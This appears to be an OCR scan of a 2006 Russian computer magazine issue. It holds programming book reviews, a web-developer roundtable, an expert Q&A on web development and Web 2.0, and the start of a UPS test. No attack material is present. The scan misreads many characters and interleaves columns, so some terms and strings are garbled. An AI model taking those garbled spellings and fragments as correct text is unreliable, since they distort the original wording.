именно там 
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Базы данных. 
Язык SQL 


СПб.: БХВ-Петербург, 2006 
/ Дунаев В.В. / 288 страниц 
Разумная цена: 86 рублей 


БАЗЫ ДАННЫХ 


ЯЗЫК 501 


HTML и CSS 
Ha примерах 


СПб.: БХВ-Петербург, 2005 
/ Мержевич В.В. / 448 страниц 
Разумная цена: 160 рублей 


SQL (Structured Query Langua- 
ge) — структурированный 
язык запросов к реляционным 
базам данных. На SQL можно 
формулировать выражения 
(запросы), которые будут из- 
влекать нужные данные, мо- 
дифицировать их, создавать 
таблицы, изменять их структу- 
ры, определять права доступа 
к данным и многое другое. 
Существует множество СУБД, 
а средство работы с базами 
данных одно — SQL. Знание 
основ SQL и умение приме- 
нять их для поиска и анализа 
данных не помешает никому, 
к тому же синтаксис этого 
языка достаточно прост. На 
практических примерах по- 
дробно описаны основные 
конструкции языка и типы за- 
просов. 


HTML — прежде всего систе- 
ма верстки, определяющая 
то, как и какие элементы дол- 
жны располагаться на web- 
странице. Способ предста- 
вления информации и офор- 
мления зависят исключитель- 
но от разработчика. Однако 
HTML имеет массу ограниче- 
ний, которые когда-то прихо- 
дилось обходить через одно 
место: применение изображе- 
ний вместо текста, таблицы с 
невидимой границей, про- 
зрачные рисунки для контро- 
ля нужных отступов и пустого 
пространства и т.п. Слож- 
ность разработки крупных 
проектов из-за этого только 
повышалась. Стили же ча- 
стично решают подобные 
проблемы, не заменяя, а до- 
полняя НТМЕ. С$$ расширя- 
ют возможности дизайна и 
верстки страниц. И данная 
книга — набор советов, ре- 
цептов и хитростей для рабо- 
ты с HTML и CSS. 


уауа-сервлеты 
и JSP: сборник 
рецептов 


М.: КУДИЦ-ОБРАЗ, 2005 
/ Перри Б. / 768 страниц 
Разумная цена: 288 рублей 


Сервлет — это класс Java, 
предназначенный для дина- 
мического формирования со- 
держимого ответа на запрос 
клиента по сети. Если тебе 
знакомы С@!-программы и 
скрипты, то поймешь: сервле- 
ты — это технология Java, 
способная заменить их. JSP 
(Java Server Pages) — cep- 
верные страницы Java, в KO- 
торых Java-kog, перемешива- 
ется с JavaScript и HTML. 
Сервлеты (и JSP) часто назы- 
вают также меб-компонента- 
ми. В книге собрано более 
200 практических примеров и 
советов по решениям различ- 
ных задач с использованием 
сервлетов или JSP: работа с 
БД, аутентификация клиен- 
тов, работа с почтой, обра- 
ботка данных из формы, ра- 
бота с cookie, работа с муль- 
тимедиа, использование «се- 
ансов», работа с фильтрами, 
использование доступных би- 
блиотек и многое другое. 


Разработка 
\МеБ-приложений 
с помощью РНР 
и MySQL 


М.: Издательский дом 
«Вильямс», 2006 

/ Люк Веллинг / 880 страниц 
Разумная цена: 486 рублей 


Разработка 
ici pieced 
с (EP 
и MySQL 


MEDIUM 


С основами HTML знакомы 
практически все, у кого есть 
собственный сайт или домаш- 
няя страничка. Однако не все 
умеют программировать для 
web’a и использовать реля- 
ционные базы данных. Многие 
крупные сайты уже невозмож- 
но изготовить в виде баналь- 
НОЙ «статики», необходима 
помощь связки РНР + MySQL. 
В книге описаны все стадии 
разработки типовых проектов 
на РНР и MySQL, в том числе 
СМ$ (система управления со- 
держимым сайта), форум, ин- 
тернет-магазин и т.п. Среди 
нестандартных подходов: 
объектно-ориентированное 
программирование на РНР, 
динамическая генерация PDF- 
документов и доступ к различ- 
ным стандартным web-cny>k- 
бам от сторонних компаний. 
Впрочем, самое главное — 
что все приведенные примеры 
рассчитаны на новые версии 
РНР5 и MySQL 5.0. 


РНР глазами 
хакера 


СПб.: БХВ-Петербург, 2005 
/ Фленов М.Е. / 304 страницы 
Разумная цена: 172 рубля 


Сценарии на языке РНР 
повсеместно используются 
в web’e, обычно или в сам- 
описном коде, или в заим- 
ствованиях в Сети, благо 
бесплатных библиотек, из 
которых можно черпать на- 
работки для своих проектов, 
достаточно. Притом очень 
часто отходят на второй 
план вопросы безопасности 
и оптимизации сценариев. 
И остаются на втором пла- 
не, пока... Типичные ошиб- 
ки программистов позволя- 
ют хакерам беспрепятствен- 
но проникать на сервер и 
атаковать ресурс. В книге 
продемонстрированы реаль- 
ные примеры взлома web- 
серверов, чтобы наглядно 
разъяснить как уязвимости, 
так и последствия недоста- 
точного внимания к без- 
опасности кода. 


ActionScript 2.0. 
Основы 


СПб.: Символ-Плюс, 2006 
/ Колин Мук / 576 страниц 
Разумная цена: 360 рублей 


EASY 


Flash — это He только вектор- 
ная графика, но и возмож- 
ность программировать бла- 
годаря языку сценариев Ас- 
tionScript. Сначала был Ас- 
tionScript 1.0, имевший одно 
неприятное ограничение: 
сильная «кривизна» реализо- 
ванной возможности напи- 
сать код, использующий ме- 
тоды ООП (объектно-ориен- 
тированного программирова- 
ния). В 2.0 подобные недо- 
статки исправлены. Его син- 
таксис прост и понятен даже 
новичку. Конечно, более про- 
стой путь предстоит тем, кто 
знаком с ООП по другим язы- 
кам программирования, к 
примеру Java или C++. В кни- 
ге рассмотрены синтаксис и 
применение ActionScript 2.0 
на практике. 
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APTEM 
ИВАНОВ 

Ведущий программист 

в проекте распознавания 
личности. \Меб-разработ- 
чик в проекте меб-интер- 
фейсов сетевых 
устройств. Аспирант 
Нижегородского институ- 
та прикладной физики 
РАН. Участвовал в разра- 
ботке программного 
обеспечения различной 
направленности: от си- 
стем безопасности, где 
был руководителем груп- 
пы, до проектов по соз- 
данию систем поддержки 
контента и меб-интер- 
фейсов для сетевых 
устройств. 
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ЕКАТЕРИНА 
СЕДОВА 
РНР-программист, 

в web’e четыре года. Ра- 
ботала в меб-лаборато- 
рии МГИУ (Московского 
государственного инду- 
стриального университе- 
та), дизайн-студии «Са- 
ботаж», Defa Gruppe 

(в настоящий момент). 
Участвовала в проектах: 
www.awards.ru (сайт 
Night Life Awards), 
www.jorisvanvelzen.de 
(сайт фотохудожника 
Йориса Ван Вельзена), 
http://kino.mtv.ru (сайт 
церемонии кинонаграды 
2006, MTV). 


| | НА ЧЕМ ПРИХОДИТСЯ ПИСАТЬ 


ДЛЯ WEB? 


юлия (юю) 
ЯРАЛОВА 


Дизайнер, художник-гра- 
фик, меб-дизайнер. 
Работала: «Московская 
Мозаика», «Архитектур- 
ный Вестник», «Город- 
Инфо», «Крафтвей», ЗАО 
ПОЛМИ ГРУПП 

(в настоящий момент). 
Участвовала в проектах: 
GreetingDepot Inc (элек- 
тронные открытки, круп- 
ный сайт), «Яндекс. От- 
крытки» (художествен- 


ВЯЧЕСЛАВ 

БАЕВ 

За последние семь лет 
побыл и дизайнером, 

и программистом, и вер- 
стальщиком — практиче- 
ски посвятил жизнь ин- 
тернет-технологиям. Уча- 
ствовал в создании про- 
ектов WWW.vseved.ru, 
www.elitepen.ru и во мно- 
жестве проектов компа- 
нии Defa Gruppe. 


АЛЕКСЕЙ 
СКОБЕЛЕВ 


Аналитик, в профессио- 
нальном web’e — три го- 
да. Работал в Renault op- 
ганизатором web-npoek- 
тов, в настоящий момент 
работает аналитиком в 
Defa Gruppe. Из проек- 
тов: автомобильная ком- 
пания SoKia, церемония 
кинонаград МТУ 2006, 
сервис блогов на науч- 
ном портале «Элементы» 
и сайт для инвесторов 


ный редактор), конкурс компании «Пятерочка». 
DIA 2005 (финалист но- 

минации «Промышлен- 

ный дизайн»), финал 

конкурса «Дизайн света» 

2005 (оригинальное све- 


товое решение). 


АРТЕМ ИВАНОВ: Приходится работать на многих вещах одновременно. К 
примеру, в одном проекте задействовано: ASP.NET (хотя и претендует на 
полноценное средство, приходится регулярно лазить в HTML), С# (как на 
стороне сервера, так и на стороне клиентских приложений — типа агента 
оповещения и т.п.), XML базы данных и кучи разных протоколов. Все это, 
естественно, на Visual Studio 2005. И это еще не самое сложное. Сложнее 
было в другом проекте, где приходится сочетать платформонезависимый 
код, который поддерживается на Windows, и реализацию этого кода, рабо- 
тающую Ha Linux Debian. Здесь количество используемых технологий и 
продуктов еще выше: С и С++ (используется очень широко — от железа и 
самописных драйверов и до жуткого количества STL, для парсинга резуль- 
татов тестирования и создания отчетов (раньше был РЕНЕ, но от этого не 
жилось легче), СОВВА (использовать СОМ+ могут только извращенцы, 
тем более под Linux он не работает), аппаратные средства вывода графи- 
ки (специальные под каждую платформу. DirectX еще хоть как-то помога- 
eT, а под Linux приходится выпендриваться). Отладка делается под Linux, 
что само по себе редкое извращение... 


ЧТО ВАЖНЕЕ: ЖЕЛАНИЕ КЛИЕНТА 
ИЛИ ПРАВИЛЬНЫЙ ПРОДУКТ? 
ОЧЕНЬ МНОГИЕ ПИШУТ «TO, ЧТО 
ЗАКАЗАЛИ», 
С ДРУГОЙ СТОРОНЫ, КЛИЕНТ 
ВСЕГДА ПРАВ. 


А ПОТОМ ВЫХОДИТ... 


АНДРЕЙ КАРОЛИК: В крупных разработках не участвовал, так что обычно 
ограничиваюсь РНР (когда-то давно это был Perl). На С++ в основном прихо- 
дилось править чужой готовый код. Был определенный опыт работы с Java, 
когда делал для вуза в Германии лабораторные работы по электротехнике, 
которые студенты выполняли в браузере (эмуляция физических процессов 
через математические формулы). Тогда Java только появилась и возможно- 
сти апплетов были сильно ограничены, наработок в Сети было очень и очень 
мало. С РНР обычно работаю в продвинутом NotePad :). 


ЕКАТЕРИНА СЕДОВА: Нужно найти компромисс. Часто, конечно, склады- 
ваются ситуации, когда компромисс не представляется реальным ни для 
одной из сторон. И тогда, хочешь не хочешь, а выбор делать приходится. 
Мое мнение: не следует пренебрегать собственными принципами в угоду 
клиенту. Дело даже не в том, что ты, конечно же, лучше, чем клиент, зна- 
ешь, как делать свою работу хорошо. Проблема в том, что твои работы — 
твое лицо, и мнение о тебе у кого-то строится на основе того, насколько 
конструктивно ты создаешь качественный продукт. Поступись этим прин- 
ципом один раз — и, поверь, придется долго восстанавливать репутацию. 
Так что борись за себя: дипломатия, убеждение, примеры, разумные дово- 
ды. Даже из самого безумного желания клиента, если напрячься, можно 
сделать «правильный» продукт. 

АРТЕМ ИВАНОВ: В таких случаях конечный продукт определяется тремя 
критериями. 1) Чтобы было сделано быстро. 2) Чтобы было сделано каче- 
ственно. 3) Чтобы было сделано дешево. 

Обычно приходится выбирать два пункта из трех. Если быстро и ка- 
чественно, то будет недешево. Если дешево и качественно, то потратишь 
время. Не настаиваю на правильности этой «теоремы», но опыт показыва- 
ет, что так и бывает. 

ВЯЧЕСЛАВ БАЕВ: Весьма сложная ситуация. Как правило, клиент согла- 
шается на все нововведения, которые предлагаются, особенно в области 
usability, так как он позиционирует себя как обычного пользователя и у него 
есть принцип «либо нравится, либо не нравится». Но иногда бывает, что кли- 
ент предлагает решение, как бы сказать, «не в кассу». Вот тогда получают- 
ся следующие варианты. 1) Клиент соглашается, что не прав. Убедить его в 
чем-либо сложно, но можно. 2) Клиенту отказывают в реализации его пред- 
ложения. 3) Следуем принципу «клиент всегда прав», делаем все так, как хо- 
чет он, но не помещаем эту работу в портфолио. Сделали и забыли, как 
страшный сон :). 4) В ответ на несуразицу клиента пытаемся выдернуть из 
этого предложения зерно сути, оформить его либо сделать его более удоб- 
ным, подходящим функционально или/и визуально. В любом случае, у нас 
нет никакого желания делать «плохие» проекты. 

ЮЛИЯ ЯРАЛОВА: Вопрос, на который невозможно ответить «да» или «нет». 
Если послать клиента ко всем чертям (то, что он требует, несовместимо с тех- 
нологией), станет не для кого делать продукт. Однако если учитывать только 
пожелания клиента, можно зайти очень далеко и не вернуться. Важна «золо- 
тая середина», сотрудничество. 

АНДРЕЙ КАРОЛИК: Желание важнее, а выходит ... , если воплощать это 
желание бездумно. Клиент думает о потребностях на основе собственных 
представлений о том, как «оно» должно быть. Исполнитель должен, учиты- 
вая ограничения web’a и технологий, предложить альтернативные решения, 
доступно объяснить все плюсы и минусы каждого решения. Чем больше 
опыта и сделанных проектов, тем предлагаемые решения ближе к идеалу. 
Во многих случаях можно вообще не изобретать велосипед, а оттолкнуться 
от чужих наработок. 

АЛЕКСЕЙ СКОБЕЛЕВ: Важно и то и другое. Когда разрабатывается сайт, 
взаимодействуют две сферы: сфера бизнеса клиента и сфера интернета, то 
есть наша сфера бизнеса. Клиент является профессионалом в своей области 
и имеет свое (пусть и не очень профессиональное) мнение о web’e. Я профес- 
сионал в проектировании сайтов, но в то же время имею свое мнение о том, 
как устроен бизнес клиента. В процессе разработки клиент формулирует 
свои требования и пожелания — если они адекватные, то я их учитываю. 


АНДРЕЙ 
КАРОЛИК 


Трепанировал домашнюю 
страничку в далеком 
1995 году, после этого 
активно увлекся \меб’ом. 
Дизайнер и программист 
среднего полета, но как 
верстальщик умудрен 
опытом. Среди послед- 
них собственных проек- 
тов: Www.forceteam.ru, 
www.realstory.ru 

и www.shopexpert.ru 
(последний пока только 
в планах). 
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SPECIAL DELIVERY 


ЧЕМУ НУЖНО УДЕЛЯТЬ БОЛЬШЕ 
ВНИМАНИЯ: ДИЗАЙНУ ИЛИ ТЕХНО- 
ЛОГИЧНОСТИ? 


ПРОЙДЕТ ИЛИ НЕТ МОДА НА БЛО- 
ГИ? ЧТО СТАНЕТ МОДНЫМ ПОСЛЕ 
ВЫХОДА БЛОГОВ ИЗ МОДЫ? 


СПЕЦ 06 + 67 


Если нет, то аргументированно объясняю клиенту, почему нельзя выполнить его требования или поче- 
му будет неправильно реализовывать их. Таким образом, совместными усилиями мы создаем правиль- 
ный продукт, в котором учтены пожелания клиента. 

Вообще все во многом зависит от конкретного проекта и компании, с которой приходится ра- 
ботать. В крупных компаниях обычно есть специальный человек, отвечающий за проект (IT-cne- 
циалист, маркетолог или спец по PR). Такие люди обычно знают, что им нужно. С ними работать 
легче, потому что они ценят логику. В моей практике не было случаев, когда не удавалось бы до- 
стигнуть компромисса, когда клиент упирался и не реагировал на 100% логичные доводы. В кон- 
це концов, разрабатываемые сайты стоят приличных денег, которые клиент платит и за мой про- 
фессионализм, — так зачем клиенту платить такие деньги и получать в итоге говно, пусть даже 
оно и кажется ему конфеткой?! 


ЕКАТЕРИНА СЕДОВА: Я же программист — я за технологичность :). По сути, и дизайн, и техноло- 
гичность должны быть «на уровне»: visibility + usability = качество. Собственно, по проекту обычно вид- 
но, что для него приоритетно. Если основная задача сайта — привлечение людей к конкретному про- 
дукту или событию, то, конечно, внимание концентрируется на дизайне. Тем не менее, в настоящий 
момент большей части заказчиков дизайн вообще не принципиален, самое важное для них — доне- 
сти информацию до своей потенциальной клиентуры. Думаю, правильный подход. В этом случае це- 
лостность проекта, привлекательность каждой из его сторон полностью предоставляется команде 
разработчиков — от них зависит качество конечного продукта и то, завоюет ли продукт внимание сво- 
ей целевой аудитории. 

АРТЕМ ИВАНОВ: Дизайну. Технологичность будет диктоваться ограничениями технического задания 
и возможностями выбранных технологий. Без реализации задания и, соответственно, без реализации 
всех возможных функциональных возможностей продукт просто не будет работать так, как хочет заказ- 
чик. При этом прозрачность архитектуры продукта, наличие минимального набора схем, dataflow-qua- 
грамм и т.п. — все это и ускоряет разработку, и повышает качество. 

ВЯЧЕСЛАВ БАЕВ: Должна быть жесткая связка одного с другим. Без хорошей визуализации че- 
ловек не сможет понять предоставленную ему информацию, а без технологичности ему сложно бу- 
дет получить ее. 

ЮЛИЯ ЯРАЛОВА: Так как я все-таки дизайнер, то в начальной стадии разработки делаю акцент на 
«красивость». Потом, как Пигмалион, начинаю из «красивого» куска дизайна собирать то, что будет ра- 
ботать корректно. Идеальный вариант — когда все складывается удачно, красиво и технологично. 
АНДРЕЙ КАРОЛИК: Одно без другого живет в весьма ограниченных условиях. Дизайн, к примеру, не 
так важен, когда речь идет о СМ$ или каких-то корпоративных наработках. Однако мало кому понра- 
вится красивая безделушка или безобразный монстр: и то и другое обречено на провал, который оста- 
ется только вопросом времени. 


АРТЕМ ИВАНОВ: Все процессы подчинены физике. В случае блогов будет достигнут некий порог (ко- 
личества блогов), после которого произойдет их качественный «фазовый переход». Лидерами того, что 
придет на смену, скорее всего, станут общеизвестные новостные и развлекательные блоги. 

ЮЛИЯ ЯРАЛОВА: Модно/не модно — понятие относительное. Сейчас блоги модны, потому что о них 
говорят. Желание человека показать себя «во всей красе», вероятно, было и будет всегда, отсюда и по- 
иск самовыражения. От граффити на стене до блогов в интернете. Все рано или поздно проходит, прой- 
Дет и это, но «публичность» и возможность продемонстрировать себя, свои взгляды, умения останется. 
Это невозможно истребить. 

АНДРЕЙ КАРОЛИК: Популярность блогов объясняется не столько модой, сколько стечением обстоя- 
тельств. Формат общения, который дают блоги, был востребован и раньше, но технологически реали- 
зовано ничего не было. Как только технологии и программисты дошли до того, что мы имеем сейчас, 
это приняло массовый характер. Так что я не думаю, что мода на блоги может пройти в принципе. Но 
технологии и программисты могут пойти дальше и «родить» новый формат и функциональность. 
АЛЕКСЕЙ СКОБЕЛЕВ: Конечно, пройдет когда-нибудь! Все когда-нибудь проходит. Но только 
пройдет мода, а сами блоги останутся. Форумы же не исчезли никуда — живут и процветают, не- 
смотря на свое древнее происхождение. По-моему, существование блогов вообще базируется на 
особенностях человеческой природы и прогрессирующих проблемах коммуникации между людьми, 
закомплексованности, скромности и т.п. Процент «профессиональных» блогов, в которых профи 
высказывают мысли по тематике своих профессий, достаточно мал, а абсолютное большинство — 
это блоги людей, страдающих (в той или иной степени) от недостатка общения и внимания со CTO- 
роны других. Что будет после ухода блогов из моды? Думаю, вполне очевидно (06 этом все чаще 
упоминается на страницах специзданий), что произойдет глобальное объединение всего: блоги 
объединятся с социальными сетями, социальные сети объединятся с интернет-магазинами и т.д. 
Короче, настанет один большой Web... 
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МЕГАФОН). ВСЕ ВОПРОСЫ ПО ПОДПИСКЕ МОЖНО ПРИСЫЛАТЬ 


НА АДРЕС: info@glic.ru 
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На вопросы отвечает 
эксперт этого номера — 
директор по проектам 
Defa Gruppe 


РЕШИЛ СООРУДИТЬ СВОЙ САЙТ. 
С ЧЕГО НАЧАТЬ? 


© В первую очередь нужно поискать среди 

своих знакомых людей, которые умеют де- 
лать сайты. Если таких не оказалось, а зуд в руках 
не отпускает :), нужно познакомиться с бесплатны- 
ми СМ$ (системами управления контентом), их на 
просторах интернета огромная куча. Если знаешь 
английский язык — будет просто, если не знаешь — 
нужно подыскивать СМ$ среди имеющих мощное 
русскоязычное сообщество. Могу предложить сле- 
дующие: Joomla (http:/joomla.org), Drupal (http://dru- 
pal.ru), WordPress (http://mywordpress.ru) . Определи, 
что ты хочешь иметь на своем сайте. Если функ- 
ционал простенький, то незачем использовать 
мощный Drupal — будет достаточно WordPress. 
Если же планируется развернутая структура сай- 
та, какой-нибудь файловый архив и «обсуждалка» 
наподобие форума, то можно посмотреть в сторо- 
Hy phpBB, который в сочетании с плагинами дает 
прекрасную базу для создания сообщества люби- 
телей морковного сока или меховых тапочек :). 
Если руки продолжают чесаться даже после озна- 
комления с бесплатными СМ$, воспользуйся моим 
простым советом: идешь в книжный магазин, по- 
купаешь книжку по РНР, читаешь. Потом реги- 
стрируешься на форуме PHPClub (http:/phpclub.ru), 
поначалу задаешь глупые вопросы а-ля «А как 
мне положить данные формы в базу?», со време- 
нем матереешь и делаешь, наконец, сайт, попутно 


изучая кучу вспомогательных вещей, которые обя- 
зательно пригодятся в дальнейшем. 


ИНТЕРНЕТ — ЭТО КРУТО! КАК 
СТАТЬ МЕВ-РАЗРАБОТЧИКОМ? 


© Это тяжкий труд, как и любой другой. На- 
чать программировать на РНР очень про- 
сто: никакого типизирования переменных, никакой 
компиляции. Просто поставил какой-нибудь «Ден- 
вер» (http:/dklab.ru), написал <?php echo “Hello World!” 
2>, обратился к скрипту — и вот ты в Матрице. До- 
биться хоть каких-то результатов очень сложно, по- 
скольку таких же энтузиастов, как ты, — пруд пру- 
ди, каждый хочет сотворить что-нибудь этакое и 
изобрести собственный, ни на что не похожий вело- 
сипед. \!еб-разработка сейчас — это борьба кон- 
цепций, маркетинговых отделов и рекламных бюд- 
жетов. Однако я совсем не утверждаю, что время 
одиночек-энтузиастов прошло. Примеров удачных 
проектов очень много, но еще больше примеров не- 
удачных проектов. Лихорадка Web 2.0 пройдет, и 
тогда мы узнаем настоящих героев интернета нача- 
ла ХХ! века, а остальные канут в Лету. Еще есть 
шанс вскочить на подножку уходящего поезда... 


ЧЕМ ОТЛИЧАЕТСЯ OLD SCHOOL 
ОТ NEW SCHOOL В ВЕРСТКЕ? 


Принципиальное отличие этих двух подхо- 
дов к верстке состоит в том, с чего начина- 


© 
© 


ется верстка сайта. Если она начинается с макета 
и ты ставишь себе цель сверстать сайт макси- 
мально близко к тому, что нарисовано, то, скорее 
всего, будет использована табличная верстка. 
Если же цель верстки — передать информацию в 
виде, наиболее близком к XML, то уместно гово- 
рить о новой школе, в которой точкой отсчета яв- 
ляется создание структуры документа, а не нарез- 
ка макета. Приверженцы старой школы приводят 
следующие аргументы в пользу своего подхода: 
высокая скорость, практически полное соответ- 
ствие замыслам дизайнера и т.д. Эти аргументы 
уже не выдерживают никакой критики. HTML — 
контейнер для информации, а значит, он должен 
быть легок, практичен и удобен. Практически лю- 
бую дизайнерскую задумку можно реализовать 
используя семантическую верстку — нужно только 
желание. В Сети можно найти массу отработанных 
техник семантической верстки, что значительно 


упрощает работу. 
© Положа руку на сердце, скажу «нет». В ко- 

де не должно быть явных ошибок, как-то: 
незакрытые теги, атрибуты, написанные заглав- 
ными буквами, и еще парочка. Если ты использу- 
ешь современные средства разработки, такие как 
Macromedia Dreamweaver, то таких ошибок возни- 
кнуть не должно. Однако, например, в XHTML 


ВАЛИДНЫЙ НТМЕ-КОД. НАСКОЛЬ- 
КО ОН НЕОБХОДИМ? 


Strict запрещено использование атрибута target 
ссылки, в то время как иногда хочется открыть 
ссылку в новом окне не используя JavaScript или 
ввести какой-нибудь атрибут, который облегчит ра- 
боту с деревом элементов через JavaScript. Напри- 
мер, один из лучших JavaScript-Banugatopos форм 
fValidate использует атрибут alt элементов типа in- 
put. Стандарт HTML такого не позволяет, но какой 
же удобной становится проверка данных формы! В 
подобные моменты можно расширить DTD этими 
атрибутами, но это уже будет слишком. В общем, 
стремись сделать так, чтобы валидатор находил 
как можно меньше предупреждений, но не устраи- 
вай «охоту на ведьм» — это мало кто заметит. 
($) Последнее время все чаще и чаще в ин- 

тернете обсуждается тема быстрой web- 
разработки, и в связи с этим упоминается «сере- 
бряная пуля» — Ruby Оп Rails (сокращенно ROR). 
Ruby On Rails — это всего лишь фреймворк для 
разработки меб-приложений на языке Ruby, кото- 
рый позволяет значительно снизить время, затра- 
чиваемое на кодинг. Разработчики обещают (и по- 
казывают), что программирование простенького 
блога занимает 15 минут. Конечно, заманчивое 
предложение. Однако не все так просто. Главное — 
что структура языка Ruby отличается от языка PHP, 
наверняка знакомого тебе: изначально Ruby — 
объектно-ориентированный язык, ав PHP объекты 
были задвинуты на второй план и только для пятой 
версии объектная модель была переработана. Во- 
вторых, быстродействие ВОН оставляет желать 
лучшего. РНР-фреймворки тоже не отличаются бы- 
стротой — так мы расплачиваемся за то, что ос- 
новная часть кода уже написана и остается только 
концептуальная часть без всяких ЗОЁ-запросов, 
валидации форм и т.д. Наконец, пока лишь немно- 
гие хостинг-компании в рунете предлагают обра- 
ботку ВиБу-скриптов, поскольку этот язык не рас- 
пространен среди российских кодеров. Самым 
простым решением является заказ хостинга на 
Западе, но для этого нужна кредитная карта, да и 
оплата трафика влетит в копеечку. Второй способ 
решения проблемы — взять виртуальный выде- 
ленный сервер либо collocation. Правда, тогда при- 
дется устанавливать и настраивать все самостоя- 
тельно, что, честно говоря, совсем не сложно, к TO- 
му же в Сети существует множество пошаговых 
инструкций. Словом, в качестве эксперимента и 
для расширения кругозора можно попробовать по- 
работать с ROR, но для его широкого применения 
на просторах рунета время еще не пришло. 


ЧТО ТАКОЕ RUBY ОМ RAILS И 
С ЧЕМ ЕГО ЕДЯТ? 


ЧТО ТАКОЕ WEB 2.0? 


История термина Web 2.0 началась на сов- 
местном мозговом штурме издательства 
О’Вейу Media и компании MediaLive International. За- 


YO 


падная интернет-индустрия оправилась от краха дот- 
комов, и как грибы после дождя стали появляться но- 
вые интересные сайты и сервисы. Однако сама кон- 
цепция Web 2.0 слишком размыта — создатели не 
позаботились о четкости терминологии. Многие web- 
разработчики вдруг осознали, что работали не с чем- 
то бесполезным, а с чем-то солидным и полезным. В 
общем, понятие Web 2.0 стало использоваться для 
многочисленных спекуляций и выбивания денег из 
инвесторов. Эксперты и рядовые интернетчики до 
сих пор не могут прийти к единому мнению о том, что 
такое Web 2.0. Мнений так же много, как и экспертов. 
Я придерживаюсь той точки зрения, что Web 2.0 ори- 
ентирован в первую очередь на пользователя и толь- 
ко во вторую очередь — на прибыль, причем инфор- 
мация не навязывается, а предлагается. 


($) Прежде всего назову уязвимость конфи- 

денциальных данных. Мы уже привыкли к 
тому, что наша web-nouTa потенциально доступна 
не только нам: об этом свидетельствуют случаи 
сбоев Ha тай.ги и gmail.com. Чем больше личной 
информации ты хранишь в Сети, тем больше веро- 
ятность того, что она попадет к третьим лицам. Мы 
переводим в интернет свою почту, календари, тек- 
стовые документы, фотографии. Удобно! Доступ к 
своей информации можно получить из любой точ- 
ки мира, и это скрывает в себе опасность. 

Вторая проблема — зависимость от постоян- 
ного соединения с интернетом. Конечно, суще- 
ствуют технологии, которые позволяют смягчить 
эту проблему. Однако для работы с Word тебе не 
нужен интернет, а для работы с Writely (текстовый 
редактор онлайн) — нужен. Нет соединения — нет 
информации. Для комфортной работы с тем или 
иным сервисом необходим широкий канал, что в на- 
ших краях уже не редкость. Правда, для большин- 
ства пользователей эта проблема еще актуальна. 

Третий аспект — техническая база. Да, все 
современные браузеры поддерживают JavaScript в 
той мере, которая необходима для создания интер- 
активных страниц. Однако читалки текста, браузе- 
ры для мобильных устройств и другие, как нам всем 
кажется, экзотические программы пока не приспо- 
соблены для работы с интерактивными страница- 
ми. Скажешь, что этим пользуются немногие? 
Совсем нет. Достаточно вспомнить, что мобиль- 
ных телефонов в мире больше, чем компьютеров. 

И наконец, необходимо помнить о том, что, 
используя сервисы Web 2.0, ты становишься зави- 
симым от услуг сторонней компании. Когда ты 
устанавливаешь на компьютер Windows, тебе аб- 
солютно безразлично, что может случиться с Мего- 
soft. Пусть хоть по миру пойдет. А если ты будешь 
пользоваться Writely, то вопрос доверия к сайту ты 
поставишь во главу угла. Пропадет сайт — пропа- 
дут все документы, написанные тобой. 


О ДОСТОИНСТВАХ WEB 2.0 УЖЕ 
НАСЛЫШАН. В ЧЕМ ПОДВОХ? КА- 
КИЕ ПОДВОДНЫЕ КАМНИ? 


ОФФТОПИК 


nard 


защшитиесевоиданные 


В НАШЕ НЕСПОКОЙНОЕ ВРЕМЯ ТАК ВАЖНО БЫТЬ И ЧУСТВОВАТЬ СЕБЯ ЗАЩИЩЕН- 
НЫМ! ВОКРУГ ПОРОКИ И СОБЛАЗНЫ! ИМЕННО ПОЭТОМУ ВАЖНО ПРЕДУСМОТРЕТЬ 
ВСЕ — ДАЖЕ ОТКЛЮЧЕНИЕ ПИТАНИЯ! БОЯТЬСЯ НЕ НУЖНО — НУЖНО ЗНАТЬ! 


АЛЕКСЕЙ ШУВАЕ В 


Что-то терять всегда неприятно. Деньги, ключи и прочая мелочевка часто 
выпадает из карманов, и остается только вспоминать то место, где они мо- 
гли пропасть и, по возможности, возвращаться и искать. Или просто ругать 
себя за невнимательность. А как ты думаешь, каково это, когда теряются 
данные на ПК, причем не из-за коварного вируса или собственной оплош- 
ности, а просто потому что на улице обычные холода, во время которых 
очередной энергетический вампир отключил у тебя в доме свет? Причем 
несмотря на то, что ты заплатил по всем коммунальным счетам! Выход 
один — обзаводиться собственным автономным источником питания! Ко- 
нечно, не стоит притаскивать домой дизельный генератор, обставляя его по 
периметру бочками солярки. Достаточно будет приобрести недорогой ИБП, 
который сможет поддерживать систему на плаву хотя бы минут пять, чтобы 
ты успел сохранить все документы и корректно завершить работу Windows. 
Как раз такие устройства мы сегодня и протестировали, так что читай, ду- 
май, что подходит тебе, и беги в магазин за покупкой. Мы как раз подобра- 
ли для тебя ИБП по оптимальной цене: до $100. 

> технологии . Чтобы твоя работа с ИБП была удобной, при покупке сто- 
ит обратить внимание на следующие вещи. Во-первых, точно подумай над 
числом нужных тебе розеток. Три мало, шесть много. Наверное, 

четыре — это оптимальный вариант. Плюс хорошо бы, если одна не будет 
подключена к аккумулятору, чтобы втыкать такие вещи, как лазерный прин- 
тер, то есть то, что жрет слишком много энергии и по технике безопасности 
не может подключаться к UPS. Во-вторых, это интерфейс связи с ПК. Ko- 
нечно, будет лучше и удобнее, если им станет USB, 

а не доисторический RS-232. В-третьих, защита линий связи. В наших недо- 
рогих моделях это обеспечение безопасности только телефона или модема, 


но вообще так же можно защитить и LAN, и даже телевизионные антенны. 
Присмотрись, если тебе это нужно, ты наверняка найдешь необходимое 
устройство. Обрати внимание на комплект поставки, проверь, что положил 
туда производитель, какие кабели есть. Их, правда, везде навалом, да и 
стоят они немного, но зачем платить лишнее? Если планируешь ставить 
UPS на что-то не очень надежное вроде полочки или подставочки компью- 
терного стола, то не забудь, что некоторые мощные образчики весят за де- 
сяток килограмм. 
> — методика тестирования. Для начала все участники приводились в ра- 
бочее состояние, то есть для максимальной зарядки аккумуляторных бата- 
рей подключались к сети электропитания. Параллельно изучался их эк- 
стерьер, удобство работы с ними, комплектация. После зарядки к ИБП под- 
ключался системный блок указанной конфигурации и 19-дюймовый ЖК-мо- 
нитор Samsung. На системном блоке, имитируя напряженный режим рабо- 
ты, запускался тестовый комплет PCMark 2005 и музыка в проигрывателе 
WinAmp (колонки запитывались от стационарной розетки), после чего ИБП 
отсоединялся от сети и компьютер начинал питаться от аккумулятора UPS. 
Время автономной работы засекалось по секундомеру, также внимание об- 
ращалось на звуковую сигнализацию устройства. После разрядки батарей 
ИБП подключался к лабораторному автотрансформатору (ЛАТР) для про- 
верки защиты от проседания напряжения. При помощи трансформатора по- 
